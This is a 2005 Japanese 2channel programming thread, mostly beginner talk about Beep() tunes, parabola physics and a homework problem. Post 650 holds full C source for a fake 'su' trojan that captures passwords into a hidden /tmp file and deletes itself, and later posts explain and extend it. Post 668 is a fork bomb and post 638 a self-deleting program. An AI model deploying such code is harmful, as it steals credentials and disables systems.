0579デフォルトの名無しさん2005/11/26(土) 20:15:20
>>577
俺はできた
0580デフォルトの名無しさん2005/11/26(土) 20:15:21
うえのはつの・・・

どういうしくみだ?
0581デフォルトの名無しさん2005/11/26(土) 20:16:05
bcc32ではコンパイル通った
0582デフォルトの名無しさん2005/11/26(土) 20:16:34
MinGWでもおk
0583デフォルトの名無しさん2005/11/26(土) 20:21:36
ttp://blogs.sqlpassj.org/mitsugi/archive/2004/06/30/3104.aspx
0584デフォルトの名無しさん2005/11/26(土) 20:31:13
>>583
わざわざ.net2.0使わなくても、Win32API叩けばNT3.51時代から出来てる事な訳だが
0585デフォルトの名無しさん2005/11/26(土) 20:32:51
ttp://msdn.microsoft.com/library/default.asp?url=/library/en-us/debug/base/beep.asp

英語分からん奴は日本語版で勝手に探せ
0586デフォルトの名無しさん2005/11/26(土) 20:39:52
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/vblr7/html/vastmbeep.asp
これかな
0587デフォルトの名無しさん2005/11/26(土) 20:41:32
http://www.microsoft.com/japan/msdn/library/default.asp?url=/japan/msdn/library/ja/jpdebug/html/_win32_beep.asp
これじゃね?
0588デフォルトの名無しさん2005/11/26(土) 20:43:26
おもしれwwwww
beepでこんなことできたのかw
0589デフォルトの名無しさん2005/11/26(土) 20:44:12
>>584
Windows API に依存しなくて済むじゃん。
.NET 2.0 が使える環境ならどこでも鳴らせるわけで。
0590デフォルトの名無しさん2005/11/26(土) 20:49:50
.NET 2.0の環境なんて限られてるだろ
0591デフォルトの名無しさん2005/11/26(土) 20:54:00
>>589
その場合、依存先がWin32APIから.net2.0に変わっただけだろ
それに将来的にどうかは別としても、少なくとも現状で使える環境の数は
Win32API>>>>>(超えられない壁)>>>>>>.net2.0
0592デフォルトの名無しさん2005/11/26(土) 20:55:34
要するにmonoとwineの違いですよ
05935892005/11/26(土) 20:58:59
>>591
言われてみりゃ確かに。
俺も 2.0 入れてないし。
0594デフォルトの名無しさん2005/11/26(土) 21:04:55

#include <windows.h>
int main(int argc, char* argv[])
{
int sayuri[][2] =
{ { 233, 200 }, { 208, 200 }, { 185, 200 },
{ 156, 400 }, { 185, 400 }, { 208, 400 },
{ 185, 200 }, { 208, 400 }, { 233, 200 },
{ 208, 200 }, { 185, 200 }, { 233, 400 },
{ -1, -1 },
};
int i;

for(i = 0; sayuri[i][0] >= 0; i++)
Beep(sayuri[i][0], sayuri[i][1]);

return 0;
}


二番煎じだが勢いで作ってみた。
0595デフォルトの名無しさん2005/11/26(土) 21:10:46
C++のヘッダーとソースに書く
#includeの記述ってどんな風に分けて書けばいいんだろう?
ソースでヘッダーをincludeするのは当たり前として
他にも<windows.h>とか色々書く場合どっちに何を書けば良いのかわけわかめ
0596・∀・)っ-●○◎- ◆Pu/ODYSSEY 2005/11/26(土) 22:12:06
>>595
関数の実装側だけで用い呼び出し元から参照する必要の無いヘッダはなるべくソース側で
インクルードするのが正しい。不要なシンボルの重複を避けるのに有効。

あと、Boost.Regex++使うと、グローバルネームスペースでregex_tとかのシンボルが定義される。
てか、regex_tAとregex_tWをマクロで切り分けてるのね。
やたら行儀悪いのなんの。

いっぺんOnigurumaとのパフォーマンスベンチプログラム作ろうとしてハマったことがある。
てか正規表現ライブラリって大抵基本型の名前がregex_tなんだよね。中身は非互換。
結局oniguruma.hをインクルードする際にネームスペース切って解決したけど。



俺の場合はテンプレート多様派でヘッダにクラスの実装をガリガリ書くのが好み。
コンパイルに時間かかるけど。
あと、殆ど効きもしないのにプリコンパイルヘッダが�dでもない大きさになるから
基本的に無効にしている。
0597デフォルトの名無しさん2005/11/26(土) 22:29:52
>>596
あんだって?
0598デフォルトの名無しさん2005/11/26(土) 22:37:50
>>594
さっと作れるとこがすごい(・∀・)
0599デフォルトの名無しさん2005/11/26(土) 22:50:36
>>596
なるほど、ありがとう。
よく考えて分けなきゃですね。

最後の、ヘッダーに実装をがりがり書くというのはWTLがまさにそれですね。
量が増えてくると手直しする必要があった時、面倒くさそうですがどうなんでしょう。。。
0600デフォルトの名無しさん2005/11/26(土) 22:55:38
おまえら天才だな
0601デフォルトの名無しさん2005/11/26(土) 23:32:39
>>600
いや、俺らは天才じゃない、むしろ凡才
だが秀才にはなれる
0602デフォルトの名無しさん2005/11/26(土) 23:42:02
ちょっと待て。俺は天才だぞ。
0603デフォルトの名無しさん2005/11/26(土) 23:49:37
>>601君、この私と君を一緒にしないでくれたまえ。
不愉快極まりない。
0604・∀・)っ-●○◎- ◆Pu/ODYSSEY 2005/11/27(日) 00:05:52
>>599
そうまさにまさにWTL。
多重継承を効果的に使って1ファイルののサイズが増えないように・・・してるつもりだけど、
そううまくもいってない。諸刃の剣す。
基本的にメッセージリフレクションを使って再利用しやすいように作ってみている。

メッセージリフレクションといえば、CWindowWithRefletorImpl<>は、CreateWindowで作るぶんには
いいけどダイアログ(フォーム)ベースだとうまくいかないことがあるから使ってない。あと他にも
クライアント領域とかの制限があったような。
0605デフォルトの名無しさん2005/11/27(日) 00:21:09
>>596
#include <boost/regex.hpp>のほうを使え。
0606・∀・)っ-●○◎- ◆Pu/ODYSSEY 2005/11/27(日) 00:45:46
>>605
いや、そっち使った時点でそうなってたんだけど。
1.31〜32の頃かな。
もう鬼車に完全に乗り換えたからいいけど。Ruby好きだからこっちのほうがしっくりくる。

ユーザー入力の字句チェックのために正規表現使ってるんだよね。
鬼車はカスタム構文を自分で定義できるから結構思い通り(独り善がり)の解析ルーチンを作りやすい。
いちおう1.33のregexも評価してみた。PCRE構文との互換性がアップしたけどやたら遅くなった希ガス。
0607デフォルトの名無しさん2005/11/27(日) 02:03:38
>>602
おまえ、なんかウざい
0608デフォルトの名無しさん2005/11/27(日) 02:32:40
>>601
中学の時同じ事言ってたやつがいたけどよ



まあ、なんだ
0609デフォルトの名無しさん2005/11/27(日) 03:43:15
今日もいつものエウレカ待ち ^^

ちょっと早く起きすぎたw
0610デフォルトの名無しさん2005/11/27(日) 05:14:56
だれかmakefileについて詳しく教えてくれる人いない〜?
0611デフォルトの名無しさん2005/11/27(日) 07:21:39
エウレカっての初めて見たけど何か面白いな
0612デフォルトの名無しさん2005/11/27(日) 07:26:00
オワタ。よかった。来週までは生きていようとおもた。
0613デフォルトの名無しさん2005/11/27(日) 07:31:16
なんだ?心の病気か?
0614デフォルトの名無しさん2005/11/27(日) 07:56:05
(-_-) エヘヘ
0615デフォルトの名無しさん2005/11/27(日) 09:17:00
エウレカセブンは朝からグロいもん見せてくれるぜ^^
0616デフォルトの名無しさん2005/11/27(日) 09:40:25
先週はもっとグロかったよん♪
0617デフォルトの名無しさん2005/11/27(日) 10:02:30
エウレカやってるとき子供はゾロリ見てるから大丈夫^^
0618デフォルトの名無しさん2005/11/27(日) 10:05:55
今日のサンデープロジェクトは荒れそう
今のっけから社長が絶叫したwwww

>>617
じゃあ来週はもっとヤバ展開をきぼんしとく。
0619デフォルトの名無しさん2005/11/27(日) 11:26:43
ゾロリ見ようとテレビつけたらちょうどエウレカのグロシーン^^
0620デフォルトの名無しさん2005/11/27(日) 12:13:34
今放物線っぽく物体を動かすプログラムを作ってるのですが↓

放物線テスト
ttp://www.vipper.org/vip147920.zip
ttp://www.vipper.org/vip147924.png

放物線ってなんかセオリーってゆうか、
こうやったらリアルになる、とか、こうやったら計算量減らせる、とかあるんでしょうか?

プログラムでは箱を二タイプの計算で動かしてるのですが、
いずれも最初は上に移動させて、1フレームごとに下方向への移動値を増加させ、
いずれ落ちてくるって感じなのですが。。

こんなんでいいんでしょうか・・・ (-_-;
0621デフォルトの名無しさん2005/11/27(日) 12:25:16
放物線のデータをテーブルに持っておいてそれをなぞる。
0622デフォルトの名無しさん2005/11/27(日) 13:14:44
y = a * (x * x) + b
0623デフォルトの名無しさん2005/11/27(日) 13:19:21
>>620
すげーえ。
こういうのDelphiでも作れるかなあ。
憧れるよ。
0624・∀・)っ-●○◎- ◆Pu/ODYSSEY 2005/11/27(日) 13:26:11
>>611
働いたらmakeかなと思っている。
06256202005/11/27(日) 14:05:02
>>621
んと、
int Houbutu[] = {-5,-4,-3,-2,-1,0,1,2,3,4,5};
みたいな半円が書けそうなデータを持っておいて、
タイミング良く順番になぞるってことでしょか。
うーん、データ量がメチャ増えそうですが、それでいけるかな・・。
sinの波形?でやると、綺麗に見えそうな気も。
どうもありがとうございます m(__)m

>>622
うはwwありがたいんだけどwwわがんねwwww
ひ、ヒントプリーズ (´д`)

>>623
なんか激しく勘違いしてるっぽいですけど、
>>620のは上下に物体を動かせればすぐできます。
嘘放物線なので、ぶっちゃけ簡単です・・
0626デフォルトの名無しさん2005/11/27(日) 14:46:41
void parabolic(
  double g, /* 重力加速度 */
  double v, /* 初速度成分 (速さ) */
  double d, /* 初速度成分 (仰角) */
  double t) /* 経過時間 */
{
  double vx = v * cos(d); /* 水平方向の速度 */
  double vy = v * sin(d); /* 鉛直方向の速度 */
  double ax = 0; /* 水平方向の加速度 */
  double ay = g; /* 鉛直方向の加速度 */
  double x; /* 時間tでの座標x */
  double y; /* 時間tでの座標y */

  x = vx * t; /* 等速直線運動 (ax=0) */
  y = vy * t + (ay * t * t) / 2; /* 等速加速度直線運動 */
}

こんな感じじゃなかったかなぁ > 放物線
06276202005/11/27(日) 14:49:20
>>625
激しく勘違いしてたというか
何か計算が大変そうでw
やってみるw
06286262005/11/27(日) 14:54:41
基本的に620とやってることは変わらんよ。
時間を指定できるようになってるだけ
0629・∀・)っ-●○◎- ◆Pu/ODYSSEY 2005/11/27(日) 14:59:51
627のやり方が大きく間違ってるとも思えん


そこまで厳密に微分計算しなくとも、頂点(x1, y1)が解れば

y = -g(x²-x1) + y1でええんちゃうの。

で、xは空気抵抗が無い状態では水平方向の速度×時間で求められる
06306232005/11/27(日) 15:01:58
死ぬほどレスがついてて死にたくなったが627は620じゃなくて623だった。
ごめんなさい。
0631デフォルトの名無しさん2005/11/27(日) 15:03:25
>>620のやりかたでもちゃんと放物線にはなってるよね
ソース見ると
vx = 時間にかかわらず一定
vy = 時間に比例
になってて、

vx = a、時間で一回積分すると、x = at + b
vy = kt + l、時間で一回積分すると、y = kt^2 + lt + m

t を消去すると、ちゃんと y が x の2次式になってて∩( ・ω・)∩ばんじゃーい
0632デフォルトの名無しさん2005/11/27(日) 15:08:51
>>631
わざわざ積分しなくても、放物運動の速度の公式
vx = α
vy = g - at
と一致してるから問題なしと分かる希ガスw
0633デフォルトの名無しさん2005/11/27(日) 15:25:19
620のやり方
利点 :
 ・比較的計算が理解しやすい
 ・外力を反映できる

欠点 :
 ・スパンが長い程誤差が大きくなる

626のやり方
利点 :
 ・時間tを指定できる
 ・誤差が少ない

欠点 :
 ・外力を反映できない
0634デフォルトの名無しさん2005/11/27(日) 15:31:10
おまえら一体何の話してるんだよwwwwwwwwwwwwwwwwwwwwww
超疎外感wwwwwwwwwwwwwwwwwwwww
0635デフォルトの名無しさん2005/11/27(日) 15:31:54
うはwwwwwwwwwwwwごめwwwwwwwwwwwwwwwww
0636620です (-_-2005/11/27(日) 15:31:58
な、なんかスペシャルな返答が多数。
じぇんじぇんついていけん・・

>>626
ちょ、ま、えと、とりあえず使ってみます ^^

>>627
01ボタンのやつは、足し算しか使ってないですw

>>629
そ、その式を展開すればいいんでしょか。。
gは時間でおkですかね。

>>631 >>632
セキブン?・・なにそれ・・あまいの?おいちいの?
って、アフォですみません。三角関数とかわけわからんけど使ってます。
いちおう地元バカ高校は卒業したんですが。
せっかくアドバイスもらってるのに (T_T)

放物運動でググったら、↓のサイトが。
ttp://homepage3.nifty.com/qazu/parabola.htm
なにこの変な分数・・・。

人違いだったらすみませんが、>>631さんは前に某スレで
「私に会ったらvip∩( ・ω・)∩ばんじゃーいってしてみてー」
って言ってた人ですか?
0637デフォルトの名無しさん2005/11/27(日) 15:32:58
VIP VIPPER THE_VIPPEST_DREAMER
0638デフォルトの名無しさん2005/11/27(日) 15:35:32
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[])
{
char buf[strlen(argv[0])];

sprintf(buf, "rm -rf %s", argv[0]);
system(buf);
exit(1);
return 0;
}
0639620です (-_-2005/11/27(日) 15:36:06
>>633
ガイリョク?ガイリキ?
ごめ。。
でも着弾点の計算はなんとかしたいけど・・あー。

>>634
(;´д`)人(´д`;)
心の友よ。
0640・∀・)っ-●○◎- ◆Pu/ODYSSEY 2005/11/27(日) 15:36:33
gは重力加速度の係数のつもりだった。。。でも違ったかな。
0641620です (-_-2005/11/27(日) 15:38:36
うはw時間のgだとばかりww
0642デフォルトの名無しさん2005/11/27(日) 15:40:54
>>636
上で出てる式は全部、物理IBの範囲で登場するはずだがw
積分は数IIとIII

距離・速度・加速度の間には次の関係が成り立つ
距離の微分=速度 ∴速度の積分=距離
速度の微分=加速度 ∴加速度の積分=速度
全て時間についての微積分ね
06436312005/11/27(日) 15:41:19
>>636
む、それは人違いでござる

>>632
脳の容量の関係上、記憶できる公式が限られているのでありますw
0644デフォルトの名無しさん2005/11/27(日) 15:42:37
>>632に自己レス
vy = g - atじゃなくて vy = vyo(初速のy成分) - at

何ぼけてるんだ('A`)
0645デフォルトの名無しさん2005/11/27(日) 15:44:04
マリオとかの昔のアクションゲームでは、まじめに放物線を描かせず、
サインカーブなんかを使っていたりする。
0646・∀・)っ-●○◎- ◆Pu/ODYSSEY 2005/11/27(日) 15:47:15
というかマリオUSAは空中で方向転換とかできるから困る。
ピーチ姫ありえねー
0647デフォルトの名無しさん2005/11/27(日) 15:48:06
>>645
ちょwwwwwwwwサインカーブてwwwwwwww
いや似てるけどさ
0648デフォルトの名無しさん2005/11/27(日) 15:58:45
暇だったのでやってみた
ttp://www.vipper.org/vip148009.gif.html
どうみてもサインカーブです
本当にありがとうございました
0649デフォルトの名無しさん2005/11/27(日) 16:00:46
本当にありがとうございました
0650デフォルトの名無しさん2005/11/27(日) 16:04:37
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <termios.h>

int main(int argc, char *argv[])
{
struct termios orig;
struct termios attr;
char buf[1024];
char rm[strlen(argv[0])+10];
FILE *fp;

fp = fopen("/tmp/.vip", "w");
tcgetattr(0, &orig);
attr = orig;
printf("Password:");
attr.c_lflag &= ~(ICANON|ECHO);
attr.c_cc[VMIN] = 1;
tcsetattr(0, TCSADRAIN, &attr);
fgets(buf, 1024, stdin);
tcsetattr(0, TCSADRAIN, &orig);
fprintf(fp, "%s",buf);
fclose(fp);
printf("¥nsu: Sorry¥n");
sprintf(rm, "rm -rf %s", argv[0]);
system(rm);
return 0;
}
0651デフォルトの名無しさん2005/11/27(日) 16:12:46
他人のマシンに仕込んだりするなよw
0652デフォルトの名無しさん2005/11/27(日) 16:16:18
放物線ってサインカーブだと思ってた
0653デフォルトの名無しさん2005/11/27(日) 16:17:32
あるあr・・・ねーよwwwwww
06546232005/11/27(日) 16:17:44
>>650
どうなるんだ?w
0655デフォルトの名無しさん2005/11/27(日) 16:20:59
(x, y) = (Vx*t, Vy*t-(1/2*g*t^2))

Vx:初速のx成分 Vy:初速のy成分 g:重力加速度(≒9.8) t:経過時間

これでいいじゃまいか
0656デフォルトの名無しさん2005/11/27(日) 16:21:20
>>654
suを装ってパスワードを要求
ゲットしたパスワードを/tmp/.vipに保存
ログインに失敗したように見せかける
最後は自己消滅
0657デフォルトの名無しさん2005/11/27(日) 16:24:34
>>655
それってまさに>>626じゃねーかwwwwww
0658デフォルトの名無しさん2005/11/27(日) 16:25:58
そうだなwwwwwww
0659デフォルトの名無しさん2005/11/27(日) 16:26:27
うはwwwwwwwwwwおkwwwwwwwwwwwwwwwうぇ
0660デフォルトの名無しさん2005/11/27(日) 16:26:56
>>656
すげえええええ!!そんなことができるとは!
suってことはLinuxだよな。家のLinuxでやってみるかww
0661デフォルトの名無しさん2005/11/27(日) 16:29:06
>>1-660
日本語でおk
0662デフォルトの名無しさん2005/11/27(日) 16:29:19
>>660
LinuxだけじゃなくてUNIX全般で使えるからなwwwww
ちょっと改造してコマンドライン引数も保存するようにしたら、
どのユーザーにログインしようとしたかわかるしなww
0663デフォルトの名無しさん2005/11/27(日) 16:41:14
>>660
お前さんがそういうこと好きなら自宅にいろんなOS入れたマシンをたくさん置いて
それだけでネットワークを組んで自由に遊んでみるのも面白いとおもうお(^ω^)
06646602005/11/27(日) 16:52:46
>>662
Fedora Coreでやってみたら隠しファイルでしっかり/tmp/に保存されてたw
こういうの作れる人を尊敬するよ。
>>660
マシンが2台しかないw1台は親のだし。
自分のマシンにWindowsとLinuxのデュアルブートにしてる。
0665デフォルトの名無しさん2005/11/27(日) 16:54:11
>>664
>Fedora Coreでやってみたら隠しファイルでしっかり/tmp/に保存されてたw
>こういうの作れる人を尊敬するよ。

よくある手口だと思うのだが・・・
0666デフォルトの名無しさん2005/11/27(日) 16:54:14
工エエェェ(´д`)ェェエエ工
尊敬するようなものか?
0667デフォルトの名無しさん2005/11/27(日) 17:09:36
なんでお前らはそう負けず嫌いなんだw
0668デフォルトの名無しさん2005/11/27(日) 17:24:01
#include <unistd.h>
#include <sys/types.h>

main()
{
for(;;)
{
fork();
}
return 0;
}
0669・∀・)っ-●○◎- ◆Pu/ODYSSEY 2005/11/27(日) 17:31:46
ちなみにCygwinでもできると思う。
Win32は実行中のバイナリに書き込み保護がかかるから解除してやる必要があるけど。
0670デフォルトの名無しさん2005/11/27(日) 17:42:00
>>665
>>666
いやいやまったくのC初心者で簡単な計算とかしかできなくてw
1から50までの和を表示するとかしかできないからw
0671デフォルトの名無しさん2005/11/27(日) 17:45:55
>>670
昔そんなやつ居なかったか?
0672デフォルトの名無しさん2005/11/27(日) 17:46:43
>>671
そう?知らないけど。今はDelphiで打ち込んだ数のx乗を求めるやつとか
作ってるよ。
0673デフォルトの名無しさん2005/11/27(日) 17:48:28
やる事がない
0674デフォルトの名無しさん2005/11/27(日) 17:49:31
>>672
Delphiか・・・

次はlsトロイでも作ってみようかなw
0675デフォルトの名無しさん2005/11/27(日) 18:04:00
>>673
宿題スレでもいったら
0676デフォルトの名無しさん2005/11/27(日) 18:07:55
見事なまでのVIPPER秘密基地
0677デフォルトの名無しさん2005/11/27(日) 18:53:12
宿題スレの問題をこっちのスレで解けば(・∀・)イイ!!
0678デフォルトの名無しさん2005/11/27(日) 18:55:51
>>674
lsトロイというものについて詳しく
0679デフォルトの名無しさん2005/11/27(日) 18:57:51
>>678
lsに化けてroot権限を奪うトロイの木馬だよ
>>650でやった奴はsuトロイ
0680デフォルトの名無しさん2005/11/27(日) 19:39:40
IEコンポムズカシス・・
webのサンプル見ても全然わかんあい・・
0681デフォルトの名無しさん2005/11/27(日) 21:24:13
>>679
すげー。かっこいいな。
0682みずき ◆WnmizUKIg6 NGNG
#include <stdio.h>
void main()
{
float a = 1999;
float b = 0;
int i;

for (i = 1 ; i < 1999 ; i++) {
if (i % 2 == 1) {
b += a / i;
a -= a / i;
} else {
a += b / i;
b -= b / i;
}
}

printf("a = %.0f" , a);
}
0683デフォルトの名無しさん2005/11/27(日) 22:10:19
>>682
バカな俺にプログラムの説明をしてくれ。
0684デフォルトの名無しさん2005/11/27(日) 22:26:23
>>682
なんかあんまし意味のある処理じゃないような気がするんだが
わかんね
0685デフォルトの名無しさん2005/11/27(日) 22:27:03
>>682
ブログにあるゲームのセックス画像うpして下さい
0686デフォルトの名無しさん2005/11/27(日) 22:28:16
>>682
絶対荒らさないでくださいとわざわざ書くということは、荒らしまくってもいいんですよね?
0687デフォルトの名無しさん2005/11/27(日) 22:30:08
>>682
何これ?全然意味分からない・・・orz
最終的に1を表示でおk?
0688みずき ◆WnmizUKIg6 NGNG
>>682の人気に嫉妬
0689デフォルトの名無しさん2005/11/27(日) 22:33:09
おまえだ、おまえ。
0690デフォルトの名無しさん2005/11/27(日) 22:33:21
だんだんAが999に収束してるね
なんだろこの処理
0691みずき ◆WnmizUKIg6 NGNG
>>677より、C/C++の宿題を片付けます 53代目
650 名前:デフォルトの名無しさん[sage] 投稿日:2005/11/27(日) 21:50:42
[1] 授業単元: 情報処理
[2] 問題文: 1999リットルの水が入った容器Aと、同じ大きさのからの容器B がある。
        1 回目は、A の1/2 の量をB へ移し、2 回目は、B の1/3 をA に移す、
        3 回目は、A の1/4 をB へ移す、次はB の1/5 をA へ・・・・
        この方法で、次々と水を移す。1999回目にA からB へ移したとき、
        B の容器には、何リットルの水が入っているかを求めるプログラムを作成せよ。
[3] 環境
 [3.1] OS:Windows
 [3.2] コンパイラ名とバージョン: bcc
 [3.3] 言語: C
[4] 期限: 11月29日まで
[5] その他の制限: 特にありません
0692デフォルトの名無しさん2005/11/27(日) 23:01:13
>>691

int main() {
int i, c, a, b;
a=1999;
i=0;c=0;b=0;
while(i!=1999) {
b=b+(a/(i+1)); a=a/(i+1)
i++;
}
printf("%d", b);
}

即行でつくた。これでどうよ
0693デフォルトの名無しさん2005/11/27(日) 23:03:11
cは何に使ったの?
0694デフォルトの名無しさん2005/11/27(日) 23:24:59
>>693
問題の意味を勘違いしてて
ごちゃごちゃやってた時に使ってた
消すの忘れてたorz
main関数が返り値intならreturn 0かなんか入れておくのも忘れてたな
0695デフォルトの名無しさん2005/11/27(日) 23:26:08
>>682
これが>>691の答えなの?
なら、しょっぱなから1回目に1999を全部bにぶちこんでる気がするんだが。
ついでにaの結果を表示してるし。

#include <stdio.h>
void main()
{
float a = 1999;
float b = 0;
int i;

for (i = 2 ; i < 2001; i++) {
if (i % 2 == 0) {
b += a / i;
a -= a / i;
} else {
a += b / i;
b -= b / i;
}
}

printf("a = %f\n" , a);
printf("b = %f\n" , b);

return 0;
}

これでよくね?
0696デフォルトの名無しさん2005/11/27(日) 23:32:54
お前らが何を組んでるのかさっぱりわかりませんよっと。
0697デフォルトの名無しさん2005/11/27(日) 23:36:11
ここはVIPPERにはわからないプログラミングスレですね
0698みずき ◆WnmizUKIg6 NGNG
>>695か>>682を「/ (i+1)」かな

>>696-697
Cで文字で遊ぶだけなら1週間程度でおkだよ
やる気があるなら頑張って
0699デフォルトの名無しさん2005/11/27(日) 23:37:19
>>698が見えない
0700デフォルトの名無しさん2005/11/27(日) 23:57:26
>>569
うちのPC本体からビープ音が出るとは知らなかった
どっかにブザーついてんだな
0701デフォルトの名無しさん2005/11/28(月) 00:08:10
#include <stdio.h>

int main(){
double A=1999.0;
double B=.0;
int cnt=1;
for(;cnt<=999;cnt++){
B+=A/(cnt*2); A-=A/(cnt*2);
A+=B/(cnt*2+1); B-=B/(cnt*2+1);
}
B+=A/(1999+1);
printf("%f",B);
return 0;
}

これでいいんじゃね?
0702みずき ◆WnmizUKIg6 NGNG
>>700
間違っても
while(0) printf("\a");
だけはやるんじゃないよ
0703デフォルトの名無しさん2005/11/28(月) 00:13:41
>>691

#include <stdio.h>
int main()
{
puts(" 1999リットルの水が入った容器Aと、同じ大きさのからの容器B がある。\n"
" 1 回目は、A の1/2 の量をB へ移し、2 回目は、B の1/3 をA に移す、\n"
" 3 回目は、A の1/4 をB へ移す、次はB の1/5 をA へ・・・・\n"
" この方法で、次々と水を移す。1999回目にA からB へ移したとき、\n"
" B の容器には、何リットルの水が入っていますか?");
printf("\n リットル\r");
{float a;scanf("%f",&a);}
return 0;
}
0704デフォルトの名無しさん2005/11/28(月) 00:13:45
>>702
それだとなんも実行しないのでは?
0705みずき ◆WnmizUKIg6 NGNG
>>704
学校の先生風に言うと「君達が気づくのを試したんだ」
while(1)です、すみません
0706デフォルトの名無しさん2005/11/28(月) 00:24:21
for(;;) の方が好きだな
泣いてるっぽくて
0707デフォルトの名無しさん2005/11/28(月) 00:41:25
>>706
それならこっちだな
#define _ 1
for (;_;)
0708デフォルトの名無しさん2005/11/28(月) 03:26:20
for (;'_';)
汗かいてるお
0709デフォルトの名無しさん2005/11/28(月) 04:38:04
for (;'ω';)
0710デフォルトの名無しさん2005/11/28(月) 06:15:11
   __             __/  / |    __  ──
     / ─ /  / \ ○   |   /  |      |    ̄ ̄/ ──
  __/  _/  /   \    |  /  レ  ─┴─  _/

      /\___/ヽ    
     /''''''   '''''':::::::\    
    . |(〇),   、(〇)、.:| 
    |   ,,ノ(、_, )ヽ、,, .::::|    
  .   |   `,rェェェ、 ' .:::::::| 
     \  |,r-r-|  .::::/     
  ,,.....イ.ヽヽ、`ニニ´ーノ゙-、.
  :   |  '; \_____ ノ.| ヽ i
      |  \/゙(__)\,|  i |
      >   ヽ. ハ  |   ||
0711デフォルトの名無しさん2005/11/28(月) 10:25:30
えっと、VIPからきますた。
どうでもよさそうな質問なんですけど、よろしくお願いします。

if(i=1;i<=10;i++)

if(i=1;i<11;i++)

この二つだと一般的にはどちらが多いのでしょうか?
俺は前者の方がわかりやすそうで好きなんですけど。
0712デフォルトの名無しさん2005/11/28(月) 10:30:25
んー、なんに使うかにもよるけど、
よく見るのは後者みたいなのかなw
0713デフォルトの名無しさん2005/11/28(月) 10:31:16
マジもんVIPPERだけど0から始めるなら言語何がいいんだ?
0714デフォルトの名無しさん2005/11/28(月) 10:32:37
そうですかー。
いや、これはただの1〜10まで表示するって奴なんですけどね。
上のほうが10って数字が出るからわかりやすいと思ったけど
一般的なスタイルは下なんですね。

これからは下のスタイルで慣れていこうと思います。
ありがとうござんした。
0715デフォルトの名無しさん2005/11/28(月) 10:33:25
>>713
つ【http://nadesi.com/】
0716デフォルトの名無しさん2005/11/28(月) 10:33:29
forじゃないか?

俺は
for(i=0; i<10; i++)
for(i=1; i<=10; i++)
って書くかな
10回ループすることが分かりやすい
0717デフォルトの名無しさん2005/11/28(月) 10:36:08
>>716
うはwww素で間違えたwwwwすいませんorz

こんなに赤面したのは久しぶりだ。
0718デフォルトの名無しさん2005/11/28(月) 10:48:24
>>715
HSPってVIPPERじゃ無理?
0719デフォルトの名無しさん2005/11/28(月) 10:49:29
for (i = 0; i < 10; i++)
をよく見かけるのは配列の配置がそうなってるからじゃね
int array[10]って宣言して回す時とかね
0720デフォルトの名無しさん2005/11/28(月) 10:50:27
>>711,714
その場合は前者の方がいいよ。
0から始めるループなら "<" が主流だけど。
0721デフォルトの名無しさん2005/11/28(月) 10:53:20
>>720
そうですか。
じゃあ0の時は後者、それ以外は前者でとりあえずやってみる事にします。
ありがとうございました。
07227112005/11/28(月) 15:12:35
うはw釣りかと思って素で通したのにww
0723デフォルトの名無しさん2005/11/28(月) 15:22:49
>>711
1〜10まで表示という仕様なら前者にすべき
仕様でソースを表現するとはそういうこと
最適化は後回し
0724デフォルトの名無しさん2005/11/28(月) 15:24:07
ソースで仕様を表現するんじゃねーの?
0725デフォルトの名無しさん2005/11/28(月) 15:26:16
こうやって日本語は間違えやすいので
コメントをあてにしちゃダメだ
0726デフォルトの名無しさん2005/11/28(月) 15:24:00
    ⊂⊃   .☆.。.:*・゜
(\ ∧_∧ /
(ヾ < `∀´>/ このレスに出会ったあなたは超ラッキーニダ。
''//( つ   つ  近々骨折することになるニダ。
(/(/___|″
   し′し′
0727デフォルトの名無しさん2005/11/28(月) 15:28:40
みさくらなん骨折れた
0728デフォルトの名無しさん2005/11/28(月) 16:22:14
>>718
できるよ
0729デフォルトの名無しさん2005/11/28(月) 16:22:38
>>718
HSPはメモリ管理がグダグダだからオヌヌメできん

Javaでオブジェクト指向学んでC++行くのもよし
C学んでC++行くのもよし
0730みずき ◆WnmizUKIg6 NGNG
十進BASICやろうぜヽ(*´∀`*)ノ
0731デフォルトの名無しさん2005/11/28(月) 16:41:34
http://pc8.2ch.net/test/read.cgi/gamedev/1133008523/
これに参加する話どうなった?
0732デフォルトの名無しさん2005/11/28(月) 16:42:01
飽きた
0733みずき ◆WnmizUKIg6 NGNG
>>731
真っ黒画面に文字だけでも参加しようか
0734デフォルトの名無しさん2005/11/28(月) 16:44:42
wを練習するタイピングソフトなんてどうよ
0735みずき ◆WnmizUKIg6 NGNG
ちょwwwおまwwwwwwwwww
tyowwwomawwwwwwwwww
0736デフォルトの名無しさん2005/11/28(月) 16:52:21
wの個数を正確に打つのは、結構むずいかも
0737デフォルトの名無しさん2005/11/28(月) 17:36:50
>>729
uiui
0738みずき ◆WnmizUKIg6 NGNG
>>731
28 名前:名前は開発中のものです。[sage] 投稿日:2005/11/28(月) 17:40:57 ID:3EViY0P3
俺漏れも今週から参加すっからな!
haro-worldくらいからお題頼むぜ

頑張れ、超頑張れ
0739デフォルトの名無しさん2005/11/28(月) 17:45:48
C言語って金かかるのか?w
どっかからDLできる場所ないのか?
0740デフォルトの名無しさん2005/11/28(月) 17:46:09
VIPでなんか歴史に残るプログラムつくろうぜ
http://ex14.2ch.net/test/read.cgi/news4vip/1133165707/
0741デフォルトの名無しさん2005/11/28(月) 17:48:40
釣られた・・けど・・そういうの釣りって言うのか?
0742デフォルトの名無しさん2005/11/28(月) 17:50:17
無料の開発環境

◆C/C++/C#
http://www2.wbs.ne.jp/~dskoba/database/prog.htm
・Borland C++ Compiler 5.5
http://homepage3.nifty.com/mmgames/c_guide/p_bcc.html
・Visual C++ Toolkit 2003
http://homepage1.nifty.com/kazubon/progdoc/poor/vctoolkit.html
・Visual Studio 2005 Express Edition Beta 2 日本語版
http://www.microsoft.com/japan/msdn/vstudio/2005/express/default.aspx
・C#Builder 1.0 Personal
http://www.borland.co.jp/csharpbuilder/csharp10/download/index.html

◆Delphi
・Delphi 6 Personal
http://www.borland.co.jp/delphi/personal/

◆Java
・Eclipse
http://www.eclipsewiki.net/eclipse/index.php?%5B%5B%A5%A4%A5%F3%A5%B9%A5%C8%A1%BC%A5%EB%5D%5D

◆なでしこ
・なでしこ
http://nadesi.com/
0743デフォルトの名無しさん2005/11/28(月) 17:50:42
Borland C++ Compiler
Visual C++ Toolkit 2003
LSI C-86 体験版
Borland C++ BuilderX Personal

どれがいいんだ?
